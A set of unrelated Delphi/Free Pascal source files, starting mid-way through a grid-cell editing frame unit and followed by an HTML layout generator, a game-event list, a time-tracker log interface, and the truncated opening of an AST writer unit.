procedure HideEdit;override;
procedure invalidate;override;
end;
TlabelCell=class(Tcell)
st:AnsiString;
color:integer;
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
end;
TcomboBoxCell=class(Tcell)
CB:TcomboBoxV;
tpNum:typetypeG;
num1:integer;
AdData:pointer;
constructor create(Frame1:TtableFrame);
procedure setOptions(st:AnsiString);overload; { ex: 'UN|DEUX|TROIS'}
procedure setOptions(var tb;long,nb:integer);overload; { tableau de chaînes courtes }
procedure SetOptions(n1,n2,step:integer);overload; { suite de nombres }
procedure SetOptions(list:TstringList);overload; { stringList }
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
procedure HideEdit;override;
procedure invalidate;override;
end;
TsetStxy=procedure(col,row:integer;x:AnsiString) of object;
TgetStxy=function(col,row:integer):AnsiString of object;
TEditStringCell=class(Tcell)
AdData:pointer;
setStxy:TsetStxy;
getStxy:TgetStxy;
editString:TeditString;
procedure setE(x:AnsiString;data1:pointer);
function getE(data1:pointer):AnsiString;
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
procedure HideEdit;override;
procedure EditonKeyDw(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure EditOnChange(Sender: TObject);
procedure invalidate;override;
end;
TsetExy=procedure(col,row:integer;x:float) of object;
TgetExy=function(col,row:integer):float of object;
TEditNumCell=class(Tcell)
AdData:pointer;
setExy:TsetExy;
getExy:TgetExy;
editNum:TeditNum;
tpNum:typetypeG;
mini,maxi:float;
nbDeci:integer;
procedure setE(x:float;data1:pointer);
function getE(data1:pointer):float;
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
procedure HideEdit;override;
procedure EditonKeyDw(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure EditOnChange(Sender: TObject);
procedure invalidate;override;
end;
TUserOnClick=procedure(ACol,ARow:integer) of object;
TcolorCell=class(Tcell)
AdData:Pinteger;
button:Tbutton;
OnColorChanged:TUserOnClick;
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
procedure HideEdit;override;
procedure ColorOnClick(sender:Tobject);
end;
TbuttonCell=class(Tcell)
button:Tbutton;
UserOnClick:TuserOnClick;
constructor create(Frame1:TtableFrame);
procedure Draw(rect:Trect;State: TGridDrawState);override;
procedure Edit(rect:Trect);override;
procedure HideEdit;override;
procedure ButtonOnClick(sender:Tobject);
end;
implementation
{$IFNDEF FPC} {$R *.DFM} {$ENDIF}
{ TTableFrame }
function TTableFrame.cell(Acol, Arow: integer): Tcell;
begin
if assigned(getCell)
then result:=getcell(Acol,Arow)
else result:=nil;
if not assigned(result)
then result:=DefaultCell;
result.colG:=Acol;
result.rowG:=Arow;
end;
constructor TTableFrame.create(owner: Tcomponent);
begin
inherited;
DefaultCell:=Tcell.create(self);
FcanEdit:=true;
end;
procedure TTableFrame.SetCanvasDefault(state: TGridDrawState);
begin
with drawGrid1.canvas do
begin
TextFlags:=TextFlags or ETO_OPAQUE;
pen.Style:=psSolid;
brush.Style:=bsSolid;
pen.Color:=clBlack;
font.Color:=clBlack;
end;
end;
function TtableFrame.GetGridColorDefault(state:TGridDrawState): integer;
begin
if {$IFDEF DELPHE_XE}(gdRowSelected in state) or {$ENDIF} (gdSelected in state)
then result:=rgb(50,230,230)
else
if gdFixed in state then result:=rgb(190,190,190)
else result:=rgb(230,230,230);
end;
procedure TTableFrame.DrawGrid1DrawCell(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
var
frm:Tcustomform;
TheCell:Tcell;
w:integer;
begin
if Fdestroying then exit;
frm:=getParentForm(self);
if not assigned(frm) or not frm.visible then exit;
SetCanvasDefault(state);
if assigned(GetGridColor)
then drawgrid1.Canvas.Brush.Color:=GetGridColor(Acol,Arow, {$IFDEF DELPHE_XE}(gdRowSelected in state) or {$ENDIF} (gdSelected in state))
else drawgrid1.Canvas.Brush.Color:=GetGridColorDefault(state);
TheCell:=cell(Acol,Arow);
if (Acol=drawGrid1.Col) and (Arow=drawGrid1.Row) and ( FcanEdit or TheCell.AlwaysEdit) then
begin
if assigned(curCell) then curCell.hideEdit;
curcell:=TheCell;
Curcell.edit(rect);
end
else TheCell.draw(rect,state);
w:= rect.Right-rect.Left;
if assigned(OnChangeColWidth) and (w<>colW[Acol]) then OnChangeColWidth(Acol, w);
colW[Acol]:=w;
end;
procedure TTableFrame.DrawGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean);
var
frm:Tcustomform;
TheCell:Tcell;
begin
if Fdestroying then exit;
frm:=getParentForm(self);
if not assigned(frm) or not frm.visible then exit;
if assigned(OnSelectCell) then OnSelectCell(Acol,Arow);
if assigned(curCell) then curCell.hideEdit;
TheCell:=cell(Acol,Arow);
if FcanEdit or TheCell.AlwaysEdit then
begin
curcell:=TheCell;
curcell.edit(DrawGrid1.Cellrect(Acol,Arow));
end;
{
else
if (goRowSelect in DrawGrid1.Options) and FcanEdit then // Pourquoi ces lignes ?
begin
curcell:=Cell(DrawGrid1.FixedCols ,Arow);
curcell.edit(DrawGrid1.Cellrect(DrawGrid1.FixedCols,Arow));
end;
}
end;
procedure TTableFrame.DrawGrid1TopLeftChanged(Sender: TObject);
begin
if assigned(curCell) then curCell.hideEdit;
end;
procedure TTableFrame.init(Ncol, Nrow, NfixCol, NfixRow: integer;func:TgetCell);
begin
if assigned(curcell) then curcell.HideEdit;
drawGrid1.colCount:=Ncol;
drawGrid1.rowCount:=Nrow;
{Une erreur est générée si le Nfix n'est pas strictement inférieur à N}
if NfixCol<Ncol then drawGrid1.FixedCols:=NfixCol else drawGrid1.FixedCols:= 0;
if NfixRow<Nrow then drawGrid1.FixedRows:=NfixRow else drawGrid1.FixedRows:= 0;
drawgrid1.invalidate;
getCell:=func;
end;
procedure TTableFrame.invalidate;
begin
if assigned(drawgrid1) then
begin
drawgrid1.Invalidate; { L'original ne fonctionne pas proprement }
{ 25-01-06: Si dans Windows 2000, on a choisi les grandes polices,
drawgrid1 n'est pas assigné au premier appel de invalidate
}
if FcanEdit then
begin
curcell:=cell(drawGrid1.Col,drawGrid1.Row);
if assigned(curcell) and visible then curcell.invalidate;
end;
end;
end;
function TTableFrame.selectGroup: boolean;
var
gg:TgridRect;
col1, col2, row1, row2:integer;
begin
with drawgrid1 do
begin
selectCells.setMinMax(FixedCols,ColCount-1,FixedRows,rowCount-1);
col1:=selection.left;
col2:=selection.right;
row1:=selection.Top;
row2:=selection.bottom;
end;
result:=selectCells.execution(col1, col2, row1, row2);
if result then
begin
gg.Left:=Col1;
gg.right:=Col2;
gg.top:=row1;
gg.bottom:=row2;
DrawGrid1.selection:=gg;
end;
end;
function TTableFrame.SumOfWidths: integer;
var
i:integer;
begin
result:=0;
with drawGrid1 do
for i:=0 to ColCount-1 do
result:=result+ColWidths[i];
end;
function TTableFrame.ColCount: integer;
begin
result:=drawGrid1.ColCount;
end;
function TTableFrame.rowCount: integer;
begin
result:=drawGrid1.rowCount;
end;
procedure TTableFrame.AppendRow;
begin
drawGrid1.RowCount:=drawGrid1.RowCount+1;
drawGrid1.Row:=drawGrid1.RowCount-1;
end;
procedure TTableFrame.DeleteRow;
begin
drawGrid1.RowCount:=drawGrid1.RowCount-1;
invalidate;
end;
procedure TTableFrame.DrawGrid1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
row1,col1:integer;
rect:Trect;
pgrid:Tpoint;
begin
if (shift=[ssRight]) and assigned(OnMouseDownCell) then
begin
pgrid:=drawgrid1.ScreenToClient(mouse.cursorPos);
drawGrid1.mouseToCell(pgrid.x,pgrid.y,col1,row1);
rect:=drawGrid1.cellRect(col1,row1);
rect.TopLeft:=clientToScreen(rect.TopLeft);
rect.BottomRight:=clientToScreen(rect.BottomRight);
OnMouseDownCell(rect,col1,row1);
end;
end;
procedure TTableFrame.DrawGrid1DblClick(Sender: TObject);
var
row1,col1:integer;
rect:Trect;
pgrid:Tpoint;
begin
pgrid:=drawgrid1.ScreenToClient(mouse.cursorPos);
drawGrid1.mouseToCell(pgrid.x,pgrid.y,col1,row1);
rect:=drawGrid1.cellRect(col1,row1);
rect.TopLeft:=clientToScreen(rect.TopLeft);
rect.BottomRight:=clientToScreen(rect.BottomRight);
if assigned(OnDblClickCell)
then OnDblClickCell(rect,col1,row1);
end;
procedure TtableFrame.setColW(n, w: integer);
var
i,len:integer;
begin
if (n>=0) and (n<20000) then
begin
if n>=length(FColW) then
begin
len:=length(FColW);
setLength(FcolW,n+1);
for i:=len to high(FcolW) do FcolW[i]:=DrawGrid1.DefaultColWidth;
end;
FcolW[n]:=w;
end;
end;
function TtableFrame.getColW(n: integer): integer;
begin
if (n>=0) and (n<length(FColW))
then result:=FcolW[n]
else result:=DrawGrid1.DefaultColWidth;
end;
{ Tcell }
constructor Tcell.create(Frame1: TtableFrame);
begin
frame:=frame1;
end;
procedure Tcell.Draw(rect: Trect; State: TGridDrawState);
begin
frame.DrawGrid1.Canvas.Rectangle(rect);
end;
procedure Tcell.Edit(rect: Trect);
begin
end;
procedure Tcell.HideEdit;
begin
end;
procedure Tcell.invalidate;
begin
end;
{ TcheckBoxCell }
constructor TcheckBoxCell.create(frame1:Ttableframe);
begin
inherited;
CB:=TcheckBoxV.Create(frame);
CB.Parent:=frame;
CB.Visible:=false;
CB.UpdateVarOnToggle:=true;
end;
procedure TcheckBoxCell.Draw(rect: Trect; State: TGridDrawState);
var
w:integer;
bb:boolean;
begin
with frame.DrawGrid1.Canvas do
begin
pen.Color:= brush.Color;
Rectangle(rect);
end;
w:=rect.bottom-rect.top-5;
case Align of
taLeftJustify: rect.Left:=rect.left+3;
taCenter: rect.Left:=(rect.left+rect.Right-w) div 2 ;
taRightJustify: rect.Left:=rect.right-w-3;
end;
rect.right:=rect.left+w;
rect.top:=rect.Top+2;
rect.Bottom:=rect.top+w;
with frame.DrawGrid1.Canvas do
begin
pen.Color:=clBlack;
pen.Width:=1;
brush.Color:=clWhite;
Rectangle(rect);
if assigned(adData) then bb:=Pboolean(AdData)^
else
bb:=getE(nil);
if bb then
begin
pen.Width:=2;
moveto(rect.Left+2,rect.Top+2);
lineto(rect.right-3,rect.bottom-3);
moveto(rect.Left+2,rect.bottom-3);
lineto(rect.right-3,rect.top+2);
end;
end;
end;
procedure TcheckBoxCell.Edit(rect: Trect);
begin
if not isRectEmpty(rect) then
with cb do
begin
height:=rect.Bottom-rect.top-1;
width:=height;
case self.Align of
taLeftJustify: Left:=rect.left+3+frame.drawGrid1.left+2;
taCenter: Left:=(rect.left+rect.Right-width) div 2 +frame.drawGrid1.left+2;
taRightJustify: left:=rect.right-width+frame.drawGrid1.left+1;
end;
top:=rect.top+frame.drawGrid1.top+2;
if assigned(AdData) then setVar(adData^)
else
setProp(setE,getE,nil);
visible:=true;
end
else
begin
cb.setvar(nil^);
cb.Visible:=false;
end;
end;
procedure TcheckBoxCell.HideEdit;
begin
CB.Visible:=false;
end;
procedure TcheckBoxCell.setE(x: boolean;data1:pointer);
begin
if assigned(setBxy) then setBxy(colG,rowG,x);
end;
function TcheckBoxCell.getE(data1:pointer): boolean;
begin
if assigned(getBxy) then result:=getBxy(colG,rowG);
end;
procedure TcheckBoxCell.invalidate;
begin
cb.Invalidate;
end;
{ TlabelCell }
procedure TlabelCell.Draw(rect: Trect; State: TGridDrawState);
var
old:integer;
begin
old:=frame.drawGrid1.canvas.Font.Color;
frame.drawGrid1.canvas.Font.Color:=color;
frame.drawGrid1.canvas.TextRect(rect,rect.left,rect.top+1,st);
frame.drawGrid1.canvas.Font.Color:=old;
end;
procedure TlabelCell.Edit(rect: Trect);
begin
// frame.drawGrid1.canvas.TextRect(rect,rect.left,rect.top+1,st);
end;
{ TcomboBoxCell }
constructor TcomboBoxCell.create(Frame1: TtableFrame);
begin
inherited;
CB:=TcomboBoxV.Create(frame);
CB.Parent:=frame;
CB.Visible:=false;
CB.UpdateVarOnChange:=true;
end;
procedure TcomboBoxCell.Draw(rect: Trect; State: TGridDrawState);
var
index:integer;
begin
index:=round(varToFloat(adData^,cb.Tnum))+num1;
if (index>=0) and (index<cb.Items.Count)
then frame.drawGrid1.canvas.TextRect(rect,rect.Left+1,rect.top+1,cb.Items[index]);
end;
procedure TcomboBoxCell.Edit(rect: Trect);
begin
if not isRectEmpty(rect) then
with cb do
begin
left:=rect.left+frame.drawGrid1.left;
top:=rect.top+frame.drawGrid1.top;
width:=rect.Right-rect.left +2 ;
height:=rect.Bottom-rect.top;
setVar(adData^,tpNum,Num1);
{itemIndex:=round(varToFloat(adData,cb.Tnum));}
visible:=true;
end
else
begin
cb.setvar(nil^,tpNum,num1);
cb.Visible:=false;
end;
end;
procedure TcomboBoxCell.HideEdit;
begin
CB.Visible:=false;
end;
procedure TcomboBoxCell.setOptions(var tb; long, nb: integer);
begin
CB.setStringArray(tb,long,nb);
end;
procedure TcomboBoxCell.setOptions(st: AnsiString);
begin
CB.setString(st);
end;
procedure TcomboBoxCell.setOptions(list: TstringList);
begin
CB.Assign(list);
end;
procedure TcomboBoxCell.setOptions(n1, n2, step: integer);
begin
CB.SetNumList(n1,n2,step);
end;
procedure TcomboBoxCell.invalidate;
begin
cb.setVar(adData^,tpNum,Num1);
cb.UpdateCtrl;
end;
{ TeditStringCell }
constructor TEditStringCell.create(Frame1: TtableFrame);
begin
inherited;
EditString:=TEditString.Create(frame);
EditString.Parent:=frame;
EditString.Visible:=false;
EditString.UpdateVarOnExit:=true;
EditString.onKeyDown:=EditOnKeyDw;
EditString.OnChange:=EditOnChange;
end;
procedure TEditStringCell.setE(x:AnsiString;data1:pointer);
begin
if assigned(setStxy) then setStxy(colEdit,rowEdit,x);
end;
function TEditStringCell.getE(data1:pointer):AnsiString;
begin
if assigned(getStxy)
then result:=getStxy(colEdit,rowEdit)
else result:='';
end;
procedure TEditStringCell.Draw(rect: Trect; State: TGridDrawState);
begin
if assigned(AdData)
then frame.drawGrid1.canvas.TextRect(rect,rect.Left+1,rect.top+1,Pansistring(adData)^)
else frame.drawGrid1.canvas.TextRect(rect,rect.Left+1,rect.top+1,getStxy(colG,rowG));
end;
procedure TEditStringCell.Edit(rect: Trect);
begin
if not isRectEmpty(rect) then
with EditString do
begin
colEdit:=colG;
rowEdit:=rowG;
left:=rect.left+frame.drawGrid1.left;
top:=rect.top+frame.drawGrid1.top;
width:=rect.Right-rect.left;
height:=rect.Bottom-rect.top;
if assigned(adData) then setString(AnsiString(adData^),20)
else setProp(setE,getE,nil);
visible:=true;
if frame.parent.visible then EditString.setFocus;
EditString.selectAll;
end
else
begin
EditString.setvar(nil^,20);
EditString.Visible:=false;
end;
end;
procedure TEditStringCell.EditonKeyDw(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
case key of
VK_down: with frame.DrawGrid1 do
if row<rowcount-1 then
begin
EditString.UpdateVar;
Row:=Row+1;
end;
VK_up: with frame.DrawGrid1 do
if row>fixedRows then
begin
EditString.UpdateVar;
Row:=Row-1;
end;
VK_left: if editString.selStart=0 then
with frame.DrawGrid1 do
if col>fixedcols then
begin
EditString.UpdateVar;
col:=col-1;
setFocus;
end;
VK_right:if length(editString.text)=editString.selStart then
with frame.DrawGrid1 do
if col<ColCount-1 then
begin
EditString.UpdateVar;
col:=col+1;
setFocus;
end;
VK_return: EditString.UpdateVar;
end;
end;
procedure TEditStringCell.HideEdit;
begin
EditString.Visible:=false;
end;
procedure TEditStringCell.EditOnChange(Sender: TObject);
var
gg:TgridRect;
begin
gg.Left:=frame.DrawGrid1.Col;
gg.right:=frame.DrawGrid1.Col;
gg.top:=frame.DrawGrid1.row;
gg.bottom:=frame.DrawGrid1.row;
frame.DrawGrid1.selection:=gg;
end;
procedure TEditStringCell.invalidate;
begin
editString.invalidate;
end;
{ TeditNumCell }
constructor TEditNumCell.create(Frame1: TtableFrame);
begin
inherited;
nbdeci:=3;
EditNum:=TEditNum.Create(frame);
EditNum.Parent:=frame;
EditNum.Visible:=false;
EditNum.UpdateVarOnExit:=true;
EditNum.onKeyDown:=EditOnKeyDw;
EditNum.OnChange:=EditOnChange;
end;
procedure TEditNumCell.setE(x:float;data1:pointer);
begin
if assigned(setExy) then setExy(colEdit,rowEdit,x);
end;
function TEditNumCell.getE(data1:pointer):float;
begin
if assigned(getExy)
then result:=getExy(colEdit,rowEdit)
else result:=0;
end;
procedure TEditNumCell.Draw(rect: Trect; State: TGridDrawState);
var
st:AnsiString;
begin
if assigned(AdData)
then st:=Estr(varToFloat(adData^,tpNum),nbdeci)
else st:=Estr(getExy(colG,rowG),nbdeci);
frame.drawGrid1.canvas.TextRect(rect,rect.Left+1,rect.top+1,st);
end;
procedure TEditNumCell.Edit(rect: Trect);
begin
if not isRectEmpty(rect) then
with EditNum do
begin
colEdit:=colG;
rowEdit:=rowG;
left:=rect.left+frame.drawGrid1.left;
top:=rect.top+frame.drawGrid1.top;
width:=rect.Right-rect.left;
height:=rect.Bottom-rect.top;
if assigned(adData) then setVar(adData^,tpNum)
else setProp(setE,getE,nil,tpNum);
setMinMax(mini,maxi);
Decimal:=nbdeci;
visible:=true;
if frame.parent.visible then EditNum.setFocus;
EditNum.selectAll;
end
else
begin
EditNum.setvar(nil^,tpNum);
EditNum.Visible:=false;
end;
end;
procedure TEditNumCell.EditonKeyDw(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key=VK_down) or (key=VK_up) or (key=VK_left) or (key=VK_right) or (key=VK_return) then EditNum.UpdateVar;
case key of
VK_down: with frame.DrawGrid1 do
if row<rowcount-1 then Row:=Row+1;
VK_up: with frame.DrawGrid1 do
if row>fixedRows then Row:=Row-1;
VK_left: if editNum.selStart=0 then
with frame.DrawGrid1 do
if col>fixedcols then
begin
col:=col-1;
if frame.visible then setFocus;
end;
VK_right:if length(editNum.text)=editNum.selStart then
with frame.DrawGrid1 do
if col<ColCount-1 then
begin
col:=col+1;
if frame.visible then setFocus;
end;
end;
end;
procedure TEditNumCell.HideEdit;
begin
EditNum.Visible:=false;
end;
procedure TEditNumCell.EditOnChange(Sender: TObject);
var
gg:TgridRect;
begin
{$IFNDEF FPC}
gg.Left:=frame.DrawGrid1.Col;
gg.right:=frame.DrawGrid1.Col;
gg.top:=frame.DrawGrid1.row;
gg.bottom:=frame.DrawGrid1.row;
frame.DrawGrid1.selection:=gg;
{$ENDIF}
end;
procedure TEditNumCell.invalidate;
begin
editNum.Invalidate;
end;
{ TcolorCell }
procedure TcolorCell.ColorOnClick(sender: Tobject);
var
dlg:TcolorDialog;
begin
if not assigned(AdData) then exit;
dlg:=TcolorDialog.create(frame);
try
dlg.Color:=AdData^;
if dlg.Execute and (AdData^<>dlg.Color) then
begin
AdData^:=dlg.Color;
draw(frame.DrawGrid1.CellRect(ColEdit,RowEdit),[]);
if assigned(OnColorChanged) then OnColorChanged(ColEdit,RowEdit);
end;
finally
dlg.free;
end;
end;
constructor TcolorCell.create(Frame1: TtableFrame);
begin
inherited;
button:=Tbutton.Create(frame);
button.Parent:=frame;
button.Visible:=false;
button.OnClick:=ColorOnClick;
end;
procedure TcolorCell.Draw(rect: Trect; State: TGridDrawState);
var
oldP,oldB:integer;
h,max:integer;
begin
if assigned(AdData) then
with frame.drawGrid1.canvas do
begin
oldP:=pen.Color;
oldB:=brush.Color;
pen.Color:=clBlack;
brush.Color:=AdData^;
h:= rect.bottom-rect.top;
max:=rect.Right-rect.Left -h-2;
Rectangle(rect.Left+1,rect.Top+1,rect.Left+max,rect.Bottom-1);
pen.Color:=oldP;
brush.Color:=oldB;
end;
end;
procedure TcolorCell.Edit(rect: Trect);
var
h,max:integer;
begin
inherited;
if not isRectEmpty(rect) then
with button do
begin
colEdit:=colG;
rowEdit:=rowG;
h:= rect.bottom-rect.top;
max:=rect.Right-rect.Left -h-2;
left:=rect.left+max+4+frame.drawGrid1.left;
top:=rect.top+frame.drawGrid1.top+3;
width:=h;
height:=h-2;
visible:=true;
if frame.parent.visible then button.setFocus;
draw(rect,[gdSelected]);
end
else
begin
button.Visible:=false;
end;
end;
procedure TcolorCell.HideEdit;
begin
inherited;
button.Visible:=false;
end;
{ TbuttonCell }
procedure TbuttonCell.ButtonOnClick(sender: Tobject);
begin
if assigned(UserOnClick)
then UserOnClick(ColEdit,RowEdit);
end;
constructor TbuttonCell.create(Frame1: TtableFrame);
begin
inherited;
button:=Tbutton.Create(frame);
button.Parent:=frame;
button.Visible:=false;
button.OnClick:=ButtonOnClick;
end;
procedure TbuttonCell.Draw(rect: Trect; State: TGridDrawState);
var
oldP,oldB:integer;
h,max:integer;
oldFont:Tfont;
begin
with frame.drawGrid1.canvas do
begin
oldP:=pen.Color;
oldB:=brush.Color;
oldFont:=font;
pen.Color:=clBlack;
brush.Color:=clBtnFace;
Rectangle(rect);
font:=button.Font;
TextRect(rect,rect.Left+1,rect.top+1,Button.Caption);
pen.Color:=oldP;
brush.Color:=oldB;
font:=oldFont;
end;
end;
procedure TbuttonCell.Edit(rect: Trect);
var
h,max:integer;
begin
inherited;
if not isRectEmpty(rect) then
with button do
begin
colEdit:=colG;
rowEdit:=rowG;
left:=rect.left+frame.drawGrid1.left ;
top:=rect.top+frame.drawGrid1.top ;
width:=rect.Right-rect.Left+2;
height:=rect.Bottom-rect.Top+4;
visible:=true;
if frame.parent.visible then button.setFocus;
end
else
begin
button.Visible:=false;
end;
end;
procedure TbuttonCell.HideEdit;
begin
inherited;
button.Visible:=false;
end;
Initialization
AffDebug('Initialization FrameTable1',0);
{$IFDEF FPC}
{$I FrameTable1.lrs}
{$ENDIF}
end.
|
unit htGenerator;
interface
uses
Windows, SysUtils, Types, Classes, Controls, Graphics,
htInterfaces, htControls, htMarkup;
type
ThtGenerateCtrlEvent = procedure(inMarkup: ThtMarkup;
const inContainer: string; inCtrl: TControl;
var ioHandled: Boolean) of object;
//
ThtGenerator = class
private
Container: TWinControl;
Markup: ThtMarkup;
FOnGenerateCtrl: ThtGenerateCtrlEvent;
protected
procedure GenerateCtrl(const inContainer: string; inCtrl: TControl);
procedure GenerateColumns;
procedure GenerateComponents;
procedure GenerateInnerColumns(inAlign: TAlign);
procedure GenerateRows(inAlign: TAlign);
procedure GenerateWinCtrl(inCtrl: TControl);
public
procedure Generate(inContainer: TWinControl; inMarkup: ThtMarkup);
property OnGenerateCtrl: ThtGenerateCtrlEvent read FOnGenerateCtrl
write FOnGenerateCtrl;
end;
implementation
uses
LrComponentIterator, LrControlIterator, LrVclUtils;
{ ThtGenerator }
procedure ThtGenerator.Generate(inContainer: TWinControl;
inMarkup: ThtMarkup);
begin
Container := inContainer;
Markup := inMarkup;
GenerateRows(alTop);
GenerateColumns;
GenerateRows(alBottom);
GenerateComponents;
end;
function PrioritySort(inA, inB: Pointer): Integer;
var
a, b: IhtComponent;
begin
if LrIsAs(inA, IhtComponent, a) and LrIsAs(inB, IhtComponent, b) then
Result := a.Priority - b.Priority
else
Result := 0;
end;
procedure ThtGenerator.GenerateComponents;
var
g: IhtGenerator;
begin
with TLrSortedComponentIterator.Create(Container, PrioritySort) do
try
while Next do
if LrIsAs(Component, IhtGenerator, g) then
g.Generate(Markup);
finally
Free;
end;
end;
procedure ThtGenerator.GenerateWinCtrl(inCtrl: TControl);
begin
if TWinControl(inCtrl).ControlCount = 0 then
Markup.Add(inCtrl.Name)
// Markup.Add('<span style=" vertical-align:middle;">' + inCtrl.Name + '</span>')
else
with ThtGenerator.Create do
try
OnGenerateCtrl := Self.OnGenerateCtrl;
Generate(TWinControl(inCtrl), Self.Markup);
finally
Free;
end
end;
procedure ThtGenerator.GenerateCtrl(const inContainer: string;
inCtrl: TControl);
var
handled: Boolean;
c: IhtControl;
begin
handled := false;
if Assigned(OnGenerateCtrl) then
OnGenerateCtrl(Markup, inContainer, inCtrl, handled);
if not handled then
if LrIsAs(inCtrl, IhtControl, c) then
c.Generate(inContainer, Markup)
else if (inCtrl is TWinControl) then
GenerateWinCtrl(inCtrl)
else
Markup.Add(inCtrl.Name);
end;
procedure ThtGenerator.GenerateRows(inAlign: TAlign);
var
j: Integer;
n: string;
begin
with TLrSortedCtrlIterator.Create(Container, inAlign) do
try
j := 0;
while Next([inAlign]) do
begin
if (Ctrl is TWinControl) then
GenerateCtrl('', Ctrl)
else begin
Inc(j);
n := Format('%s_Row_%d', [ Container.Name, j ]);
Markup.Styles.Add(
//Format('#%s { width:99%%; height:%dpx; }', [ n, htBoxHeight(Ctrl) ]));
Format('#%s { margin-left: auto; margin-right: auto; height:%dpx; }', [ n, htBoxHeight(Ctrl) ]));
//Format('#%s { position:relative; width:99%%; height:%dpx; }', [ n, Ctrl.Height ]));
Markup.Add(Format('<div id="%s">', [ n ]));
GenerateCtrl(n, Ctrl);
Markup.Add('</div>');
end;
end;
finally
Free;
end;
end;
procedure ThtGenerator.GenerateColumns;
var
h: Integer;
begin
with TLrCtrlIterator.Create(Container) do
try
h := AlignMaxHeight([alLeft, alClient, alRight]);
finally
Free;
end;
if h > 0 then
begin
Markup.Styles.Add(
Format(
//'#%sColumns { height:%dpx; table-layout: fixed; background-color: #FAFAD2; }',
'#%sColumns { height:%dpx; table-layout: fixed; ' +
//'border: 1px dashed silver; ' +
'}',
[ Container.Name, h ])
);
Markup.Add(
Format(
//'<table id="%sColumns" cellpadding="0" cellspacing="0" border="1">',
'<table id="%sColumns" cellpadding="0" cellspacing="0" border="0">',
[ Container.Name ])
);
Markup.Add(' <tr>');
GenerateInnerColumns(alLeft);
GenerateInnerColumns(alClient);
GenerateInnerColumns(alRight);
Markup.Add(' </tr>');
Markup.Add('</table>');
end;
end;
procedure ThtGenerator.GenerateInnerColumns(inAlign: TAlign);
var
n, s: string;
begin
with TLrSortedCtrlIterator.Create(Container, inAlign) do
try
while Next([inAlign]) do
begin
n := Format('%s_Cell_%d', [ Container.Name, Index]);
//
if inAlign = alClient then
s := ''
else
s := Format(' width:%dpx;', [ Ctrl.Width ]);
//
//s := s + ' border: 1px dashed silver; ';
//
if (s <> '') then
Markup.Styles.Add(Format('#%s {%s }', [ n, s ]));
//
Markup.Add(Format('<td id="%s">', [ n ]));
GenerateCtrl(n, Ctrl);
Markup.Add('</td>');
end;
finally
Free;
end;
end;
end.
|
//------------------------------------------------------------------------------
//EventList UNIT
//------------------------------------------------------------------------------
// What it does -
// A list of TRootEvents
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
unit EventList;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
Classes,
SysUtils,
Event;
type
//------------------------------------------------------------------------------
//TEventList CLASS
//------------------------------------------------------------------------------
TEventList = Class(TThreadList)
Public
Constructor Create(OwnsEvents : Boolean);
Destructor Destroy; override;
Procedure Add(const AnEvent : TRootEvent);
Procedure DeleteMovementEvents;
Procedure DeleteAttackEvents;
end;
//------------------------------------------------------------------------------
implementation
uses
MovementEvent,
AttackEvent;
//------------------------------------------------------------------------------
//Create CONSTRUCTOR
//------------------------------------------------------------------------------
// What it does -
// Initializes our Eventlist. Creates a storage area.
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
constructor TEventList.Create;
begin
inherited Create;
end;{Create}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Destroy DESTRUCTOR
//------------------------------------------------------------------------------
// What it does -
// Destroys our list and frees any memory used.
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
destructor TEventList.Destroy;
var
Index : Integer;
AList : TList;
begin
AList := LockList;
for Index := (AList.Count-1) downto 0 do
begin
TObject(AList.Items[Index]).Free;
AList.Delete(Index);
end;
UnlockList;
inherited;
end;{Destroy}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Add PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Adds a TRootEvent to the list.
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
procedure TEventList.Add(const AnEvent : TRootEvent);
begin
inherited Add(AnEvent);
end;{Add}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//DeleteMovementEvents PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Deletes all events that are TMovementEvents
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
procedure TEventList.DeleteMovementEvents;
var
Index : Integer;
AList : TList;
begin
AList := LockList;
try
for Index := (AList.Count - 1) downto 0 do
begin
if TObject(AList.Items[Index]) IS TMovementEvent then
begin
TMovementEvent(AList.Items[Index]).Free;
AList.Delete(Index);
end;
end;
finally
UnlockList;
end;
end;{DeleteMovementEvents}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//DeleteAttacktEvents PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Deletes all events that are TMovementEvents
//
// Changes -
// December 22nd, 2006 - RaX - Created.
//------------------------------------------------------------------------------
procedure TEventList.DeleteAttackEvents;
var
Index : Integer;
AList : TList;
begin
AList := LockList;
try
for Index := (AList.Count - 1) downto 0 do
begin
if TObject(AList.Items[Index]) IS TAttackEvent then
begin
TObject(AList.Items[Index]).Free;
AList.Delete(Index);
end;
end;
finally
UnlockList;
end;
end;{DeleteAttackEvents}
//------------------------------------------------------------------------------
end.
|
unit TimeTrackerLogInterface;
interface
uses
Classes,
SysUtils;
type
ITimeTrackerLog = interface['{E4EB6AD6-1601-4638-955D-B05FFD1AF08E}']
procedure WriteLogEntry(const TimeStamp :TDateTime; const Description :string);
procedure ReadLogEntries(Items :TStrings; const MaxEntries :integer);
end;
implementation
end.
|
unit AST.Writer;
interface
